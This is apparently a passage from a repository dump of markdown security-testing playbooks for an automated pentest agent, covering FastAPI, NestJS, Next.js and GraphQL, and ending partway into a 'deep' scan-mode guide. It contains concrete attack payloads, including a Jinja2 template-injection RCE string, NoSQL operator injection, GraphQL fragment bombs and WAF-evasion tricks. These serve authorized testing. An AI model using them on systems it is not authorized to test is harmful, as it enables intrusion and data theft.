/redoc\nGET /api/openapi.json\nGET /internal/openapi.json\n```\n\nExtract: paths, parameters, securitySchemes, scopes, servers. Endpoints with `include_in_schema=False` won't appear—fuzz based on discovered prefixes and common admin/debug names.\n\n**Dependency Mapping**\n\nFor each route, identify:\n- Router-level dependencies (applied to all routes)\n- Route-level dependencies (per endpoint)\n- Which dependencies enforce auth vs just parse input\n\n## Key Vulnerabilities\n\n### Authentication & Authorization\n\n**Dependency Injection Gaps**\n- Routes missing security dependencies present on other routes\n- `Depends` used instead of `Security` (ignores scope enforcement)\n- Token presence treated as authentication without signature verification\n- `OAuth2PasswordBearer` only yields a token string—verify routes don't treat presence as auth\n\n**JWT Misuse**\n- Decode without verify: test unsigned tokens, attacker-signed tokens\n- Algorithm confusion: HS256/RS256 cross-use if not pinned\n- `kid` header injection for custom key lookup paths\n- Missing issuer/audience validation, cross-service token reuse\n\n**Session Weaknesses**\n- SessionMiddleware with weak `secret_key`\n- Session fixation via predictable signing\n- Cookie-based auth without CSRF protection\n\n**OAuth/OIDC**\n- Device/PKCE flows: verify strict PKCE S256 and state/nonce enforcement\n\n### Access Control\n\n**IDOR via Dependencies**\n- Object IDs in path/query not validated against caller\n- Tenant headers trusted without binding to authenticated user\n- BackgroundTasks acting on IDs without re-validating ownership at execution time\n- Export/import pipelines with IDOR and cross-tenant leaks\n\n**Scope Bypass**\n- Minimal scope satisfaction (any valid token accepted)\n- Router vs route scope enforcement inconsistency\n\n### Input Handling\n\n**Pydantic Exploitation**\n- Type coercion: strings to ints/bools, empty strings to None, truthiness edge cases\n- Extra fields: `extra = \"allow\"` permits injecting control fields (role, ownerId, scope)\n- Union types and `Annotated`: craft shapes hitting unintended validation branches\n\n**Content-Type Switching**\n```\napplication/json ↔ application/x-www-form-urlencoded ↔ multipart/form-data\n```\nDifferent content types hit different validators or code paths (parser differentials).\n\n**Parameter Manipulation**\n- Case variations in header/cookie names\n- Duplicate parameters exploiting DI precedence\n- Method override via `X-HTTP-Method-Override` (upstream respects, app doesn't)\n\n### CORS & CSRF\n\n**CORS Misconfiguration**\n- Overly broad `allow_origin_regex`\n- Origin reflection without validation\n- Credentialed requests with permissive origins\n- Verify preflight vs actual request deltas\n\n**CSRF Exposure**\n- No built-in CSRF in FastAPI/Starlette\n- Cookie-based auth without origin validation\n- Missing SameSite attribute\n\n### Proxy & Host Trust\n\n**Header Spoofing**\n- ProxyHeadersMiddleware without network boundary: spoof `X-Forwarded-For/Proto` to influence auth/IP gating\n- Absent TrustedHostMiddleware: Host header poisoning in password reset links, absolute URL generation\n- Cache key confusion: missing Vary on Authorization/Cookie/Tenant\n\n### Server-Side Vulnerabilities\n\n**Template Injection (Jinja2)**\n```python\n{{7*7}}  # Arithmetic confirmation\n{{cycler.__init__.__globals__['os'].popen('id').read()}}  # RCE\n```\nCheck autoescape settings and custom filters/globals.\n\n**SSRF**\n- User-supplied URLs in imports, previews, webhooks validation\n- Test: loopback, RFC1918, IPv6, redirects, DNS rebinding, header control\n- Library behavior (httpx/requests): redirect policy, header forwarding, protocol support\n- Protocol smuggling: `file://`, `ftp://`, gopher-like shims if custom clients\n\n**File Upload**\n- Path traversal in `UploadFile.filename` with control characters\n- Missing storage root enforcement, symlink following\n- Vary filename encodings, dot segments, NUL-like bytes\n- Verify storage paths and served URLs\n\n### WebSocket Security\n\n- Missing per-connection authentication\n- Cross-origin WebSocket without origin validation\n- Topic/channel IDOR (subscribing to other users' channels)\n- Authorization only at handshake, not per-message\n\n### Mounted Apps\n\nSub-apps at `/admin`, `/static`, `/metrics` may bypass global middlewares. Verify auth enforcement parity across all mounts.\n\n### Alternative Stacks\n\n- If GraphQL (Strawberry/Graphene) is mounted: validate resolver-level authorization, IDOR on node/global IDs\n- If SQLModel/SQLAlchemy present: probe for raw query usage and row-level authorization gaps\n\n## Bypass Techniques\n\n- Content-type switching to traverse alternate validators\n- Parameter duplication and case variants exploiting DI precedence\n- Method confusion via proxies (`X-HTTP-Method-Override`)\n- Race windows around dependency-validated state transitions (issue token then mutate with parallel requests)\n\n## Testing Methodology\n\n1. **Enumerate** - Fetch OpenAPI, diff with 404-fuzzing for hidden endpoints\n2. **Matrix testing** - Test each route across: unauth/user/admin × HTTP/WebSocket × JSON/form/multipart\n3. **Dependency analysis** - Map which dependencies enforce auth vs parse input\n4. **Cross-environment** - Compare dev/stage/prod for middleware and docs exposure differences\n5. **Channel consistency** - Verify same authorization on HTTP and WebSocket for equivalent operations\n\n## Validation Requirements\n\n- Side-by-side requests showing unauthorized access (owner vs non-owner, cross-tenant)\n- Cross-channel proof (HTTP and WebSocket for same rule)\n- Header/proxy manipulation showing altered outcomes (Host/XFF/CORS)\n- Minimal payloads for template injection, SSRF, token misuse with safe/OAST oracles\n- Document exact dependency paths (router-level, route-level) that missed enforcement\n"
  },
  {
    "path": "strix/skills/frameworks/nestjs.md",
    "content": "---\nname: nestjs\ndescription: Security testing playbook for NestJS applications covering guards, pipes, decorators, module boundaries, and multi-transport auth\n---\n\n# NestJS\n\nSecurity testing for NestJS applications. Focus on guard gaps across decorator stacks, validation pipe bypasses, module boundary leaks, and inconsistent auth enforcement across HTTP, WebSocket, and microservice transports.\n\n## Attack Surface\n\n**Decorator Pipeline**\n- Guards: `@UseGuards`, `CanActivate`, execution context (HTTP/WS/RPC), `Reflector` metadata\n- Pipes: `ValidationPipe` (whitelist, transform, forbidNonWhitelisted), `ParseIntPipe`, custom pipes\n- Interceptors: response mapping, caching, logging, timeout — can modify request/response flow\n- Filters: exception filters that may leak information\n- Metadata: `@SetMetadata`, `@Public()`, `@Roles()`, `@Permissions()`\n\n**Module System**\n- `@Module` boundaries, provider scoping (DEFAULT/REQUEST/TRANSIENT)\n- Dynamic modules: `forRoot`/`forRootAsync`, global modules\n- DI container: provider overrides, custom providers\n\n**Controllers & Transports**\n- REST: `@Controller`, versioning (URI/Header/MediaType)\n- GraphQL: `@Resolver`, playground/sandbox exposure\n- WebSocket: `@WebSocketGateway`, gateway guards, room authorization\n- Microservices: TCP, Redis, NATS, MQTT, gRPC, Kafka — often lack HTTP-level auth\n\n**Data Layer**\n- TypeORM: repositories, QueryBuilder, raw queries, relations\n- Prisma: `$queryRaw`, `$queryRawUnsafe`\n- Mongoose: operator injection, `$where`, `$regex`\n\n**Auth & Config**\n- `@nestjs/passport` strategies, `@nestjs/jwt`, session-based auth\n- `@nestjs/config`, ConfigService, `.env` files\n- `@nestjs/throttler`, rate limiting with `@SkipThrottle`\n\n**API Documentation**\n- `@nestjs/swagger`: OpenAPI exposure, DTO schemas, auth schemes\n\n## High-Value Targets\n\n- Swagger/OpenAPI endpoints in production (`/api`, `/api-docs`, `/api-json`, `/swagger`)\n- Auth endpoints: login, register, token refresh, password reset, OAuth callbacks\n- Admin controllers decorated with `@Roles('admin')` — test with user-level tokens\n- File upload endpoints using `FileInterceptor`/`FilesInterceptor`\n- WebSocket gateways sharing business logic with HTTP controllers\n- Microservice handlers (`@MessagePattern`, `@EventPattern`) — often unguarded\n- CRUD generators (`@nestjsx/crud`) with auto-generated endpoints\n- Background jobs and scheduled tasks (`@nestjs/schedule`)\n- Health/metrics endpoints (`@nestjs/terminus`, `/health`, `/metrics`)\n- GraphQL playground/sandbox in production (`/graphql`)\n\n## Reconnaissance\n\n**Swagger Discovery**\n```\nGET /api\nGET /api-docs\nGET /api-json\nGET /swagger\nGET /docs\nGET /v1/api-docs\nGET /api/v2/docs\n```\n\nExtract: paths, parameter schemas, DTOs, auth schemes, example values. Swagger may reveal internal endpoints, deprecated routes, and admin-only paths not visible in the UI.\n\n**Guard Mapping**\n\nFor each controller and method, identify:\n- Global guards (applied in `main.ts` or app module)\n- Controller-level guards (`@UseGuards` on the class)\n- Method-level guards (`@UseGuards` on individual handlers)\n- `@Public()` or `@SkipThrottle()` decorators that bypass protection\n\n## Key Vulnerabilities\n\n### Guard Bypass\n\n**Decorator Stack Gaps**\n- Guards execute: global → controller → method. A method missing `@UseGuards` when siblings have it is the #1 finding.\n- `@Public()` metadata causing global `AuthGuard` to skip enforcement — check if applied too broadly.\n- New methods added to existing controllers without inheriting the expected guard.\n\n**ExecutionContext Switching**\n- Guards handling only HTTP context (`getRequest()`) may fail silently on WebSocket or RPC, returning `true` by default.\n- Test same business logic through alternate transports to find context-specific bypasses.\n\n**Reflector Mismatches**\n- Guard reads `SetMetadata('roles', [...])` but decorator sets `'role'` (singular) — guard sees no metadata, defaults to allow.\n- `applyDecorators()` compositions accidentally overriding stricter guards with permissive ones.\n\n### Validation Pipe Exploits\n\n**Whitelist Bypass**\n- `whitelist: true` without `forbidNonWhitelisted: true`: extra properties silently stripped but may have been processed by earlier middleware/interceptors.\n- Missing `@Type(() => ChildDto)` on nested objects: `@ValidateNested()` without `@Type` means nested payload is never validated.\n- Array elements: `@IsArray()` doesn't validate elements without `@ValidateNested({ each: true })` and `@Type`.\n\n**Type Coercion**\n- `transform: true` enables implicit coercion: strings → numbers, `\"true\"` → `true`, `\"null\"` → `null`.\n- Exploit truthiness assumptions in business logic downstream.\n\n**Conditional Validation**\n- `@ValidateIf()` and validation groups creating paths where fields skip validation entirely.\n\n**Missing Parse Pipes**\n- `@Param('id')` without `ParseIntPipe`/`ParseUUIDPipe` — string values reach ORM queries directly.\n\n### Auth & Passport\n\n**JWT Strategy**\n- Check `ignoreExpiration` is false, `algorithms` is pinned (no `none` or HS/RS confusion)\n- Weak `secretOrKey` values\n- Cross-service token reuse when audience/issuer not enforced\n\n**Passport Strategy Issues**\n- `validate()` return value becomes `req.user` — if it returns full DB record, sensitive fields leak downstream\n- Multiple strategies (JWT + session): one may bypass restrictions of the other\n- Custom guards returning `true` for unauthenticated as \"optional auth\"\n\n**Timing Attacks**\n- Plain string comparison instead of bcrypt/argon2 in local strategy\n\n### Serialization Leaks\n\n**Missing ClassSerializerInterceptor**\n- If not applied globally, `@Exclude()` fields (passwords, internal IDs) returned in responses.\n- `@Expose()` with groups: admin-only fields exposed when groups not enforced per-request.\n\n**Circular Relations**\n- Eager-loaded TypeORM/Prisma relations exposing entire object graph without careful serialization.\n\n### Interceptor Abuse\n\n**Cache Poisoning**\n- `CacheInterceptor` without user/tenant identity in cache key — responses from one user served to another.\n- Test: authenticated request, then unauthenticated request returning cached data.\n\n**Response Mapping**\n- Transformation interceptors may leak internal entity fields if mapping is incomplete.\n\n### Module Boundary Leaks\n\n**Global Module Exposure**\n- `@Global()` modules expose all providers to every module without explicit imports.\n- Sensitive services (admin operations, internal APIs) accessible from untrusted modules.\n\n**Config Leaks**\n- `forRoot`/`forRootAsync` configuration secrets accessible via `ConfigService` injection in any module.\n\n**Scope Issues**\n- Request-scoped providers (`Scope.REQUEST`) incorrectly scoped as DEFAULT (singleton) — request context leaks across concurrent requests.\n\n### WebSocket Gateway\n\n- HTTP guards don't automatically apply to WebSocket gateways — `@UseGuards` must be explicit.\n- Authentication deferred from `handleConnection` to message handlers allows unauthenticated message sending.\n- Room/namespace authorization: users joining rooms they shouldn't access.\n- `@SubscribeMessage()` handlers relying on connection-level auth instead of per-message validation.\n\n### Microservice Transport\n\n- `@MessagePattern`/`@EventPattern` handlers often lack guards (considered \"internal\").\n- If transport (Redis, NATS, Kafka) is network-accessible, messages can be injected bypassing all HTTP security.\n- `ValidationPipe` may only be configured for HTTP — microservice payloads skip validation.\n\n### ORM Injection\n\n**TypeORM**\n- `QueryBuilder` and `.query()` with template literal interpolation → SQL injection.\n- Relations: API allowing specification of which relations to load via query params.\n\n**Mongoose**\n- Query operator injection: `{ password: { $gt: \"\" } }` via unsanitized request body.\n- `$where` and `$regex` operators from user input.\n\n**Prisma**\n- `$queryRaw`/`$executeRaw` with string interpolation (but not tagged template).\n- `$queryRawUnsafe` usage.\n\n### Rate Limiting\n\n- `@SkipThrottle()` on sensitive endpoints (login, password reset, OTP).\n- In-memory throttler storage: resets on restart, doesn't work across instances.\n- Behind proxy without `trust proxy`: all requests share same IP, or header spoofable.\n\n### CRUD Generators\n\n- Auto-generated CRUD endpoints may not inherit manual guard configurations.\n- Bulk operations (`createMany`, `updateMany`) bypassing per-entity authorization.\n- Query parameter injection in CRUD libraries: `filter`, `sort`, `join`, `select` exposing unauthorized data.\n\n## Bypass Techniques\n\n- `@Public()` / skip-metadata applied via composed decorators at method level causing global guards to skip via `Reflector` metadata checks\n- Route param pollution: `/users/123?id=456` — which `id` wins in guards vs handlers?\n- Version routing: v1 of endpoint may still be registered without the guard added to v2\n- `X-HTTP-Method-Override` or `_method` processed by Express before guards\n- Content-type switching: `application/x-www-form-urlencoded` instead of JSON to bypass JSON-specific validation\n- Exception filter differences: guard throwing results in generic error that leaks route existence info\n\n## Testing Methodology\n\n1. **Enumerate** — Fetch Swagger/OpenAPI, map all controllers, resolvers, and gateways\n2. **Guard audit** — Map decorator stack per method: which guards, pipes, interceptors are applied at each level\n3. **Matrix testing** — Test each endpoint across: unauth/user/admin × HTTP/WS/microservice\n4. **Validation probing** — Send extra fields, wrong types, nested objects, arrays to find pipe gaps\n5. **Transport parity** — Same operation via HTTP, WebSocket, and microservice transport\n6. **Module boundaries** — Check if providers from one module are accessible without proper imports\n7. **Serialization check** — Compare raw entity fields with API response fields\n\n## Validation Requirements\n\n- Guard bypass: request to guarded endpoint succeeding without auth, showing guard chain break point\n- Validation bypass: payload with extra/malformed fields affecting business logic\n- Cross-transport inconsistency: same action authorized via HTTP but exploitable via WebSocket/microservice\n- Module boundary leak: accessing provider or data across unauthorized module boundaries\n- Serialization leak: response containing excluded fields (passwords, internal metadata)\n- IDOR: side-by-side requests from different users showing unauthorized data access\n- ORM injection: raw query with user-controlled input returning unauthorized data, or error-based evidence of query structure\n- Cache poisoning: response from unauthenticated or different-user request matching a prior authenticated user's cached response\n"
  },
  {
    "path": "strix/skills/frameworks/nextjs.md",
    "content": "---\nname: nextjs\ndescription: Security testing playbook for Next.js covering App Router, Server Actions, RSC, and Edge runtime vulnerabilities\n---\n\n# Next.js\n\nSecurity testing for Next.js applications. Focus on authorization drift across runtimes (Edge/Node), caching boundaries, server actions, and middleware bypass.\n\n## Attack Surface\n\n**Routers**\n- App Router (`app/`) and Pages Router (`pages/`) often coexist\n- Route Handlers (`app/api/**`) and API routes (`pages/api/**`)\n- Middleware: `middleware.ts` at project root\n\n**Runtimes**\n- Node.js (full API access)\n- Edge (V8 isolates, restricted APIs)\n\n**Rendering & Caching**\n- SSR, SSG, ISR, on-demand revalidation\n- RSC (React Server Components) with fetch cache\n- Draft/preview mode\n\n**Data Paths**\n- Server Components, Client Components\n- Server Actions (streamed POST with `Next-Action` header)\n- `getServerSideProps`, `getStaticProps`\n\n**Integrations**\n- NextAuth.js (callbacks, CSRF, callbackUrl)\n- `next/image` optimization and remote loaders\n\n## High-Value Targets\n\n- Middleware-protected routes (auth, geo, A/B)\n- Admin/staff paths, draft/preview content, on-demand revalidate endpoints\n- RSC payloads and flight data, streamed responses\n- Image optimizer and custom loaders, remotePatterns/domains\n- NextAuth callbacks (`/api/auth/callback/*`), sign-in providers\n- Edge-only features (bot protection, IP gates) and their Node equivalents\n\n## Reconnaissance\n\n**Route Discovery**\n\n```javascript\n// Browser console - list all routes\nconsole.log(__BUILD_MANIFEST.sortedPages.join('\\n'))\n\n// Inspect server-fetched data\nJSON.parse(document.getElementById('__NEXT_DATA__').textContent).props.pageProps\n\n// List public environment variables\nObject.keys(process.env).filter(k => k.startsWith('NEXT_PUBLIC_'))\n```\n\n**Build Artifacts**\n```\nGET /_next/static/<buildId>/_buildManifest.js\nGET /_next/static/<buildId>/_ssgManifest.js\nGET /_next/static/chunks/pages/\nGET /_next/static/chunks/app/\n```\nChunk filenames map to routes (e.g., `admin.js` → `/admin`).\n\n**Source Maps**\n\nCheck `/_next/static/` for exposed `.map` files revealing route structure, server action IDs, and internal functions.\n\n**Client Bundle Mining**\n\nSearch main-*.js for: `pathname:`, `href:`, `__next_route__`, `serverActions`, API endpoints. Grep for `API_KEY`, `SECRET`, `TOKEN`, `PASSWORD` to find accidentally leaked credentials.\n\n**Server Action Discovery**\n\nInspect Network tab for POST requests with `Next-Action` header. Extract action IDs from response streams and hydration data.\n\n**Additional Leakage**\n- `/sitemap.xml`, `/robots.txt`, `/sitemap-*.xml` for unintended admin/internal/preview paths\n- Client bundles/env for secret paths and preview/admin flags (many teams hide routes via UI only)\n\n## Key Vulnerabilities\n\n### Middleware Bypass\n\n**Known Techniques**\n- `x-middleware-subrequest` header crafting (CVE-class bypass)\n- `x-nextjs-data` probing\n- Look for 307 + `x-middleware-rewrite`/`x-nextjs-redirect` headers\n\n**Path Normalization**\n```\n/api/users\n/api/users/\n/api//users\n/api/./users\n```\nMiddleware may normalize differently than route handlers. Test double slashes, trailing slashes, dot segments.\n\n**Parameter Pollution**\n```\n?id=1&id=2\n?filter[]=a&filter[]=b\n```\nMiddleware checks first value, handler uses last or array.\n\n### Server Actions\n\n- Invoke actions outside UI flow with alternate content-types\n- Authorization assumed from client state rather than enforced server-side\n- IDOR via object references in action payloads\n- Map action IDs from source maps to discover hidden actions\n\n### RSC & Caching\n\n**Cache Boundary Failures**\n- User-bound data cached without identity keys (ETag/Set-Cookie unaware)\n- Personalized content served from shared cache/CDN\n- Missing `no-store` on sensitive fetches\n\n**Flight Data Leakage**\n\nInspect streamed RSC payloads for serialized sensitive fields in props.\n\n**ISR Issues**\n- Stale-while-revalidate responses containing user-specific or tenant-dependent data\n- Weak secrets in on-demand revalidation endpoint URLs\n- Referer-disclosed tokens or unvalidated hosts triggering `revalidatePath`/`revalidateTag`\n- Header-smuggling or method variations to trigger revalidation\n\n### Authentication\n\n**NextAuth Pitfalls**\n- Missing/relaxed state/nonce/PKCE per provider (login CSRF, token mix-up)\n- Open redirect in `callbackUrl` or mis-scoped allowed hosts\n- JWT audience/issuer not enforced across routes\n- Cross-service token reuse\n- Session hijacking by forcing callbacks\n\n**Session Boundaries**\n- Different auth enforcement between App Router and Pages Router\n- API routes vs Route Handlers authorization inconsistency\n\n### Data Exposure\n\n**__NEXT_DATA__ Over-fetching**\n\nServer-fetched data passed to client but not rendered:\n- Full user objects when only username needed\n- Internal IDs, tokens, admin-only fields\n- ORM select-all patterns exposing entire records\n- API responses forwarded without sanitization (metadata, cursors, debug info)\n\n**Environment-Dependent Exposure**\n- Staging/dev accidentally exposes more fields than production\n- Inconsistent serialization logic across environments\n\n**Props Inspection**\n```javascript\n// Check for sensitive data in page props\nJSON.parse(document.getElementById('__NEXT_DATA__').textContent).props\n```\nLook for `_metadata`, `_internal`, `__typename` (GraphQL), nested sensitive objects.\n\n### Image Optimizer SSRF\n\n**Remote Patterns**\n- Broad `images.domains`/`remotePatterns` in `next.config.js`\n- Test: internal hosts, IPv4/IPv6 variants, DNS rebinding\n\n**Custom Loaders**\n- Protocol smuggling via redirect chains\n- Cache poisoning via URL normalization differences affecting other users\n\n### Runtime Divergence\n\n**Edge vs Node**\n- Defenses relying on Node-only modules skipped on Edge\n- Header trust differs (`x-forwarded-*` handling)\n- Same route may behave differently across runtimes\n\n### Client-Side\n\n**XSS Vectors**\n- `dangerouslySetInnerHTML`\n- Markdown renderers\n- User-controlled href/src attributes\n- Validate CSP/Trusted Types coverage for SSR/CSR/hydration\n\n**Hydration Mismatches**\n\nServer vs client render differences can enable gadget-based XSS.\n\n### Draft/Preview Mode\n\n- Secret URLs/cookies enabling preview\n- Preview secrets leaked in client bundles/env\n- Setting preview cookies from subdomains or via open redirects\n\n## Bypass Techniques\n\n- Content-type switching: `application/json` ↔ `multipart/form-data` ↔ `application/x-www-form-urlencoded`\n- Method override: `_method`, `X-HTTP-Method-Override`, GET on endpoints accepting writes\n- Case/param aliasing and query duplication affecting middleware vs handler parsing\n- Cache key confusion at CDN/proxy (lack of Vary on auth cookies/headers)\n\n## Testing Methodology\n\n1. **Enumerate** - Use `__BUILD_MANIFEST`, source maps, build artifacts, sitemap/robots to map all routes\n2. **Runtime matrix** - Test each route under Edge and Node runtimes\n3. **Role matrix** - Test as unauth/user/admin across SSR, API routes, Route Handlers, Server Actions\n4. **Cache probing** - Verify caching respects identity (strip cookies, alter Vary headers, check ETags)\n5. **Middleware validation** - Test path variants and header manipulation for bypass\n6. **Cross-router** - Compare authorization between App Router and Pages Router paths\n\n## Validation Requirements\n\n- Side-by-side requests showing cross-user/tenant access\n- Cache boundary failure proof (response diffs, ETag collisions)\n- Server action invocation outside UI with insufficient auth\n- Middleware bypass with explicit headers showing protected content access\n- Runtime parity checks (Edge vs Node inconsistent enforcement)\n- Discovered routes verified as deployed (200/403) not just build artifacts (404)\n- Leaked credentials tested with minimal read-only calls; filter placeholders\n- `__NEXT_DATA__` exposure: verify cross-user (User A's props shouldn't contain User B's PII), confirm exposed fields not in DOM\n- Path normalization bypasses: show differential responses (403 vs 200), redirects don't count\n"
  },
  {
    "path": "strix/skills/protocols/graphql.md",
    "content": "---\nname: graphql\ndescription: GraphQL security testing covering introspection, resolver injection, batching attacks, and authorization bypass\n---\n\n# GraphQL\n\nSecurity testing for GraphQL APIs. Focus on resolver-level authorization, field/edge access control, batching abuse, and federation trust boundaries.\n\n## Attack Surface\n\n**Operations**\n- Queries, mutations, subscriptions\n- Persisted queries / Automatic Persisted Queries (APQ)\n\n**Transports**\n- HTTP POST/GET with `application/json` or `application/graphql`\n- WebSocket: graphql-ws, graphql-transport-ws protocols\n- Multipart for file uploads\n\n**Schema Features**\n- Introspection (`__schema`, `__type`)\n- Directives: `@defer`, `@stream`, custom auth directives (@auth, @private)\n- Custom scalars: Upload, JSON, DateTime\n- Relay: global node IDs, connections/cursors, interfaces/unions\n\n**Architecture**\n- Federation (Apollo, GraphQL Mesh): `_service`, `_entities`\n- Gateway vs subgraph authorization boundaries\n\n## Reconnaissance\n\n**Endpoint Discovery**\n```\nPOST /graphql         {\"query\":\"{__typename}\"}\nPOST /api/graphql     {\"query\":\"{__typename}\"}\nPOST /v1/graphql      {\"query\":\"{__typename}\"}\nPOST /gql             {\"query\":\"{__typename}\"}\nGET  /graphql?query={__typename}\n```\n\nCheck for GraphiQL/Playground exposure with credentials enabled (cross-origin with cookies can leak data via postMessage bridges).\n\n**Schema Acquisition**\n\nIf introspection enabled:\n```graphql\n{__schema{types{name fields{name args{name}}}}}\n```\n\nIf disabled, infer schema via:\n- `__typename` probes on candidate fields\n- Field suggestion errors (submit near-miss names to harvest suggestions)\n- \"Expected one of\" errors revealing enum values\n- Type coercion errors exposing field structure\n- Error taxonomy: different codes for \"unknown field\" vs \"unauthorized field\" reveal existence\n\n**Schema Mapping**\n\nMap: root operations, object types, interfaces/unions, directives, custom scalars. Identify sensitive fields: email, tokens, roles, billing, API keys, admin flags, file URLs. Note cascade paths where child resolvers may skip auth under parent assumptions.\n\n## Key Vulnerabilities\n\n### Authorization Bypass\n\n**Field-Level IDOR**\n\nTest with aliases comparing owned vs foreign objects in single request:\n```graphql\nquery {\n  own: order(id:\"OWNED_ID\") { id total owner { email } }\n  foreign: order(id:\"FOREIGN_ID\") { id total owner { email } }\n}\n```\n\n**Edge/Child Resolver Gaps**\n\nParent resolver checks auth, child resolver assumes it's already validated:\n```graphql\nquery {\n  user(id:\"FOREIGN\") {\n    id\n    privateData { secrets }  # Child may skip auth check\n  }\n}\n```\n\n**Relay Node Resolution**\n\nDecode base64 global IDs, swap type/id pairs:\n```graphql\nquery {\n  node(id:\"VXNlcjoxMjM=\") { ... on User { email } }\n}\n```\nEnsure per-type authorization is enforced inside resolvers. Verify connection filters (owner/tenant) apply before pagination; cursor tampering should not cross ownership boundaries.\n\n**Mutation Bypass**\n- Probe mutations for partial updates bypassing validation (JSON Merge Patch semantics)\n- Test mutations that accept extra fields passed to downstream logic\n\n### Batching & Alias Abuse\n\n**Enumeration via Aliases**\n```graphql\nquery {\n  u1:user(id:\"1\"){email}\n  u2:user(id:\"2\"){email}\n  u3:user(id:\"3\"){email}\n}\n```\nBypasses per-request rate limits; exposes per-field vs per-request auth inconsistencies.\n\n**Array Batching**\n\nIf supported (non-standard), submit multiple operations to achieve partial failures and bypass limits.\n\n### Input Manipulation\n\n**Type Confusion**\n```\n{id: 123}      vs {id: \"123\"}\n{id: [123]}    vs {id: null}\n{id: 0}        vs {id: -1}\n```\n\n**Duplicate Keys**\n```json\n{\"id\": 1, \"id\": 2}\n```\nParser precedence varies; may bypass validation. Also test default argument values.\n\n**Extra Fields**\n\nSend unexpected keys in input objects; backends may pass them to resolvers or downstream logic.\n\n### Cursor Manipulation\n\nDecode cursors (usually base64) to:\n- Manipulate offsets/IDs\n- Skip filters\n- Cross ownership boundaries\n\n### Directive Abuse\n\n**@defer/@stream**\n```graphql\nquery {\n  me { id }\n  ... @defer { adminPanel { secrets } }\n}\n```\nMay return gated data in incremental delivery. Confirm server supports incremental delivery.\n\n**Custom Directives**\n\n@auth, @private and similar directives often annotate intent but do not enforce—verify actual checks in each resolver path.\n\n### Complexity Attacks\n\n**Fragment Bombs**\n```graphql\nfragment x on User { friends { ...x } }\nquery { me { ...x } }\n```\nTest depth/complexity limits, query cost analyzers, timeouts.\n\n**Wide Selection Sets**\n\nAbuse selection sets and fragments to force overfetching of sensitive subfields.\n\n### Federation Exploitation\n\n**SDL Exposure**\n```graphql\nquery { _service { sdl } }\n```\n\n**Entity Materialization**\n```graphql\nquery {\n  _entities(representations:[\n    {__typename:\"User\", id:\"TARGET_ID\"}\n  ]) { ... on User { email roles } }\n}\n```\nGateway may enforce auth; subgraph resolvers may not. Look for cross-subgraph IDOR via inconsistent ownership checks.\n\n### Subscription Security\n\n- Authorization at handshake only, not per-message\n- Subscribe to other users' channels via filter args\n- Cross-tenant event leakage\n- Abuse filter args in subscription resolvers to reference foreign IDs\n\n### Persisted Query Abuse\n\n- APQ hashes leaked from client bundles\n- Replay privileged operations with attacker variables\n- Hash bruteforce for common operations\n- Validate hash→operation mapping enforces principal and operation allowlists\n\n### CORS & CSRF\n\n- Cookie-auth with GET queries enables CSRF on mutations via query parameters\n- GraphiQL/Playground cross-origin with credentials leaks data\n- Missing SameSite and origin validation\n\n### File Uploads\n\nGraphQL multipart spec:\n- Multiple Upload scalars\n- Filename/path traversal tricks\n- Unexpected content-types, oversize chunks\n- Server-side ownership/scoping for returned URLs\n\n## WAF Evasion\n\n**Query Reshaping**\n- Comments and block strings (`\"\"\"...\"\"\"`)\n- Unicode escapes\n- Alias/fragment indirection\n- JSON variables vs inline args\n- GET vs POST vs `application/graphql`\n\n**Fragment Splitting**\n\nSplit fields across fragments and inline spreads to avoid naive signatures:\n```graphql\nfragment a on User { email }\nfragment b on User { password }\nquery { me { ...a ...b } }\n```\n\n## Bypass Techniques\n\n**Transport Switching**\n```\nContent-Type: application/json\nContent-Type: application/graphql\nContent-Type: multipart/form-data\nGET with query params\n```\n\n**Timing & Rate Limits**\n- HTTP/2 multiplexing and connection reuse to widen timing windows\n- Batching to bypass rate limits\n\n**Naming Tricks**\n- Case/underscore variations\n- Unicode homoglyphs (server-dependent)\n- Aliases masking sensitive field names\n\n**Cache Confusion**\n- CDN caching without Vary on Authorization\n- Variable manipulation affecting cache keys\n- Redirects and 304/206 behaviors leaking partial responses\n\n## Testing Methodology\n\n1. **Fingerprint** - Identify endpoints, transports, stack (Apollo, Hasura, etc.), GraphiQL exposure\n2. **Schema mapping** - Introspection or inference to build complete type graph\n3. **Principal matrix** - Collect tokens for unauth, user, premium, admin roles with at least one valid object ID per subject\n4. **Field sweep** - Test each resolver with owned vs foreign IDs via aliases in same request\n5. **Transport parity** - Verify same auth on HTTP, WebSocket, persisted queries\n6. **Federation probe** - Test `_service` and `_entities` for subgraph auth gaps\n7. **Edge cases** - Cursors, @defer/@stream, subscriptions, file uploads\n\n## Validation Requirements\n\n- Paired requests (owner vs non-owner) showing unauthorized access\n- Resolver-level bypass: parent checks present, child field exposes data\n- Transport parity proof: HTTP and WebSocket for same operation\n- Federation bypass: `_entities` accessing data without subgraph auth\n- Minimal payloads with exact selection sets and variable shapes\n- Document exact resolver paths that missed enforcement\n"
  },
  {
    "path": "strix/skills/reconnaissance/.gitkeep",
    "content": ""
  },
  {
    "path": "strix/skills/scan_modes/deep.md",
    "content": "---\nname: deep\ndescription: Exhaustive security assessment with maximum coverage, depth, and vulnerability chaining\n---\n\n# Deep Testing Mode\n\nExhaustive security assessment. Maximum coverage, maximum depth. Finding what others miss is the goal.\n\n## Approach\n\nThorough understanding before exploitation. Test every parameter, every endpoint, every edge case. Chain findings for maximum impact.\n\n## Phase 1: Exhaustive Reconnaissance\n\n**Whitebox (source available)**\n- Map every file, module, and code path in the repository\n- Trace all entry points from HTTP handlers to database queries\n- Document all authentication mechanisms and implementations\n- Map authorization checks and access control model\n- Identify all external service integrations and API calls\n- Analyze configuration for secrets and misconfigurations\n- Review database schemas and data relationships\n- Map background jobs, cron tasks, async processing\n- Identify all serialization/deserialization points\n- Review file handling: upload, download, processing\n- Understand the deployment model and infrastructure assumptions\n- Check all dependency versions against CVE databases\n\n**Blackbox (no source)**\n- Exhaustive subdomain enumeration with multiple sources and tools\n- Full port scanning across all services\n- Complete content discovery with multiple wordlists\n- Technology fingerprinting on all assets\n- API discovery via docs, JavaScript analysis, fuzzing\n- Identify all parameters including hidden and rarely-used ones\n- Map all user roles with different account types\n- Document rate limiting, WAF rules, security controls\n- Document complete application architecture as understood from outside\n\n## Phase 2: Business Logic Deep Dive\n\nCreate a complete storyboard of the application:\n\n- **User flows** - document every step of every workflow\n- **State machines** - map all transitions (Created → Paid → Shipped → Delivered)\n- **Trust boundaries** - identify where privilege changes hands\n- **Invariants** - what rules should the application always enforce\n- **Implicit assumptions** - what does the code assume that might be violated\n- **Multi-step attack surfaces** - where can normal functionality be abused\n- **Third-party integrations** - map all external service dependencies\n\nUse the application extensively as every user type to understand the full data 